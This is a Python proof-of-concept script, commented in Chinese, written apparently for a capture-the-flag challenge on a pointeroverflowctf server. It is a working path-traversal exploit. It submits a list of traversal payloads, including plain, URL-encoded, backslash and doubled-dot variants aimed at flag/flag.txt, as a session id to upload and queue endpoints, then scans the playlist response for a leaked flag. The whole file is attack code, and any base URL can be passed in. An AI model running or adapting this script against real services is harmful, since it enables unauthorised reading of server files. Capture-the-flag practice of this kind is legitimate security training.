1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
| #!/usr/bin/env python3
# -*- coding: utf-8 -*-
# PoC for pointeroverflow exp200 queuer / path-traversal attempt
# 使用方法: python3 poc_explist.py https://exp200-1.pointeroverflowctf.com
import sys
import requests
import time
if len(sys.argv) != 2:
print("Usage: python3 poc_explist.py <BASE_URL>")
print("Example: python3 poc_explist.py https://exp200-1.pointeroverflowctf.com")
sys.exit(1)
BASE = sys.argv[1].rstrip('/')
# 你可以在这里添加/删减尝试的 sid 变体
CANDIDATES = [
"../../flag/flag.txt",
"../../../flag/flag.txt",
"../../../../flag/flag.txt",
"/tmp/uploads/../../flag/flag.txt",
"/tmp/uploads/../../../flag/flag.txt",
"../..//flag/flag.txt",
"..%2f..%2fflag%2fflag.txt", # URL encoded
"..\\..\\flag\\flag.txt", # windows style (大多数 unix 服务会忽略)
"../../flag", # 若服务拼接后再加 /track.txt -> /flag/track.txt
"../../flag/", # 同上,带尾斜杠
"....//....//flag/flag.txt", # 混淆型
]
# 一些 HTTP 头,模拟常见浏览器请求
HEADERS = {
"User-Agent": "PoC/1.0",
}
def get_session():
url = BASE + "/session"
try:
r = requests.post(url, timeout=6, headers=HEADERS)
try:
j = r.json()
sid = j.get("sid")
print("[*] /session ->", r.status_code, j)
return sid
except Exception:
print("[*] /session raw ->", r.status_code, r.text[:200])
return None
except Exception as e:
print("[!] /session error:", e)
return None
def upload_with_sid(sid_value, content="POC_CONTENT"):
url = BASE + "/upload"
# 尝试多种提交方式:form-data 与 json
# 1) form
try:
r = requests.post(url, data={"sid": sid_value, "content": content}, timeout=6, headers=HEADERS)
print(f" [upload form] sid={sid_value!r} -> {r.status_code}")
except Exception as e:
print(" [upload form] error", e)
# 2) json
try:
r = requests.post(url, json={"sid": sid_value, "content": content}, timeout=6, headers=HEADERS)
print(f" [upload json] sid={sid_value!r} -> {r.status_code}")
except Exception as e:
print(" [upload json] error", e)
def queue_with_sid(sid_value):
url = BASE + "/queue"
# 先尝试 form
try:
r = requests.post(url, data={"sid": sid_value}, timeout=6, headers=HEADERS)
print(f" [queue form] sid={sid_value!r} -> {r.status_code}")
except Exception as e:
print(" [queue form] error", e)
# 再尝试 json
try:
r = requests.post(url, json={"sid": sid_value}, timeout=6, headers=HEADERS)
print(f" [queue json] sid={sid_value!r} -> {r.status_code}")
except Exception as e:
print(" [queue json] error", e)
def get_playlist():
url = BASE + "/playlist"
try:
r = requests.get(url, timeout=6, headers=HEADERS)
print("[*] GET /playlist ->", r.status_code)
return r.text
except Exception as e:
print("[!] GET /playlist error:", e)
return ""
def try_candidate(candidate):
print("="*60)
print("[*] try candidate:", candidate)
# 上传恶意 sid
upload_with_sid(candidate, content="poc-track")
# 给服务一点时间处理(必要时可调小)
time.sleep(0.2)
# 触发 queue 行为
queue_with_sid(candidate)
# 等待并读取 playlist
time.sleep(0.5)
pl = get_playlist()
if not pl:
print(" [!] playlist empty or couldn't fetch")
return False, pl
# 简单检测 flag-like pattern
if "flag{" in pl or "FLAG{" in pl or "poctf{" in pl:
print("[!!!] POSSIBLE FLAG FOUND in playlist for candidate:", candidate)
return True, pl
else:
print(" [-] no flag pattern in playlist for candidate:", candidate)
return False, pl
def main():
print("[*] Base URL:", BASE)
print("[*] First, get /session (optional)")
sid = get_session()
if sid:
print("[*] got server session sid:", sid)
else:
print("[*] no sid from /session or couldn't parse; continuing with custom candidates")
# 首先尝试服务返回的 sid(如果有)
if sid:
ok, pl = try_candidate(sid)
if ok:
print(pl)
return
# 然后遍历我们预制的 candidate 列表
for c in CANDIDATES:
ok, pl = try_candidate(c)
if ok:
print("\n\n[!!!] FOUND FLAG in playlist dump:\n")
print(pl)
return
print("\n[*] Try also manual fuzzing or add more traversal patterns to CANDIDATES.")
print("[*] If nothing found, 服务可能不会直接把 sid 当做文件路径拼接,或者 /tmp/uploads 不可写由外部用户修改。")
if __name__ == "__main__":
main()
|